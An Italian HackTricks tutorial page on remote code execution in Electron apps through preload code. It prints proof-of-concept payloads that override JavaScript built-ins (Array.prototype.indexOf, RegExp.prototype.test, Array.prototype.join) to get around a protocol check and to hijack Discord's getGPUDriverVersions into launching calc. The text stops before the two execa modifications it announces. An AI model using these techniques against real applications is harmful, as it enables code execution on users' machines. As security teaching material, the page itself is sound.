Electron contextIsolation RCE tramite codice preload
Reading time: 3 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Esempio 1
Questo codice apre i link http(s) con il browser predefinito:
Qualcosa come file:///C:/Windows/systemd32/calc.exe
potrebbe essere usato per eseguire una calcolatrice, il SAFE_PROTOCOLS.indexOf
lo sta prevenendo.
Pertanto, un attaccante potrebbe iniettare questo codice JS tramite XSS o navigazione arbitraria della pagina:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
Poiché la chiamata a SAFE_PROTOCOLS.indexOf
restituirà sempre 1337, l'attaccante può eludere la protezione ed eseguire il calc. Exploit finale:
<script>
Array.prototype.indexOf = function () {
return 1337
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
Controlla le diapositive originali per altri modi di eseguire programmi senza avere un prompt che chiede permessi.
Apparentemente un altro modo per caricare ed eseguire codice è accedere a qualcosa come file://127.0.0.1/electron/rce.jar
Esempio 2: RCE dell'app Discord
Esempio da https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
Controllando gli script di preload, ho scoperto che Discord espone la funzione, che consente di chiamare alcuni moduli autorizzati tramite DiscordNative.nativeModules.requireModule('MODULE-NAME')
, nella pagina web.
Qui, non potevo usare moduli che possono essere utilizzati per RCE direttamente, come il modulo child_process, ma ho trovato un codice dove RCE può essere ottenuto sovrascrivendo i metodi incorporati di JavaScript e interferendo con l'esecuzione del modulo esposto.
Il seguente è il PoC. Sono riuscito a confermare che l'applicazione calc viene aperta quando chiamo la funzione getGPUDriverVersions
che è definita nel modulo chiamato "discord_utils" da devTools, mentre sovrascrivo RegExp.prototype.test
e Array.prototype.join
.
RegExp.prototype.test = function () {
return false
}
Array.prototype.join = function () {
return "calc"
}
DiscordNative.nativeModules
.requireModule("discord_utils")
.getGPUDriverVersions()
La funzione getGPUDriverVersions
cerca di eseguire il programma utilizzando la libreria "execa", come segue:
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== "win32") {
return {}
}
const result = {}
const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []))
} catch (e) {
result.nvidia = { error: e.toString() }
}
return result
}
Di solito, l'execa cerca di eseguire "nvidia-smi.exe", che è specificato nella variabile nvidiaSmiPath
, tuttavia, a causa dell'override di RegExp.prototype.test
e Array.prototype.join
, l'argomento viene sostituito con "calc" nell'elaborazione interna di _execa_**.
In particolare, l'argomento viene sostituito modificando le seguenti due parti.
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.